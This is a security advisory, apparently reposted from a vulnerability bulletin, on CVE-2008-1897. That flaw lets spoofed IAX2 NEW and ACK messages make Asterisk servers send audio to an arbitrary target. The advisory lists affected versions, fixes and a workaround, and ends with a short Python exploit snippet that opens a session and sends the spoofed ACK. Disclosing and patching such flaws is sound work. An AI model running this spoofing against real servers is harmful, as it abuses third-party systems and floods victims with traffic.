|
|
|
|
| |
Credit:
The information has been provided by Joel R. Voss aka. Javantea.
The original article can be found at: http://downloads.digium.com/pub/security/AST-2008-006.html and https://www.altsci.com/concepts/page.php?s=asteri&p=2
|
| |
Vulnerable Systems:
* Asterisk Open Source 1.0.x - all versions
* Asterisk Open Source 1.2.x - all versions prior to 1.2.28
* Asterisk Open Source 1.4.x - all versions prior to 1.4.19.1
* Asterisk Business Edition A.x.x - all versions
* Asterisk Business Edition B.x.x - all versions prior to B.2.5.2
* Asterisk Business Edition C.x.x - all versions prior to C.1.8.1
* AsteriskNOW 1.0.x - all versions prior to 1.0.3
* Asterisk Appliance Developer Kit 0.x.x - all versions
* s800i (Asterisk Appliance) 1.0.x - all versions prior to 1.1.0.3
Immune Systems:
* Asterisk Open Source version 1.2.28
* Asterisk Open Source version 1.4.19.1
* Asterisk Business Edition version B.2.5.2
* Asterisk Business Edition version C.1.8.1
* AsteriskNOW version 1.0.3
* s800i (Asterisk Appliance) version 1.1.0.3
Javantea originally reported an issue in IAX2, whereby an attacker could send a spoofed IAX2 NEW message, and Asterisk would start sending early audio to the target address, without ever receiving an initial response. That original vulnerability was addressed in June 2007, by requiring a response to the initial NEW message before starting to send any audio.
Javantea subsequently found that we were doing insufficient verification of the ACK response and that the ACK response could be spoofed, just like the initial NEW message. We have addressed this failure with two changes. First, we have started to require that the ACK response contains the unique source call number that we send in our reply to the NEW message. Any ACK response that does not contain the source call number that we have created will be silently thrown away. Second, we have made the generation of our source call number a little more difficult to predict, by randomly selecting a source call number, instead of allocating them sequentially.
Workaround:
Disable remote unauthenticated IAX2 sessions, by disallowing guest access.
Resolution:
Upgrade your Asterisk installation to revision 114561 or later, or install one of the releases shown below.
Exploit:
session = altsci_iax2.IAX_session(host, port, verbose)
# Capability == GSM, ...
data = altsci_iax2.IAX_create_ie(altsci_iax2.IAX_IE_TYPE['IAX_IE_CAPABILITY'], altsci_iax2.pack_long(0x000002aa))
# Reqd Version, Called number, codec prefs, Calling Presentation,
# Calling TON, Calling TNS, Format?
session.send(data)
resp = session.recv()
doit = 0
if resp[0] == altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'] and resp[1] == altsci_iax2.IAXCTL_SUBCLASS['IC_ACCEPT']:
print "Accepted, let's ack"
data = ''
session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'], subclass = altsci_iax2.IAXCTL_SUBCLASS['IC_ACK'])
doit = 1
#end if
CVE Information:
CVE-2008-1897
|
|
|
|
|
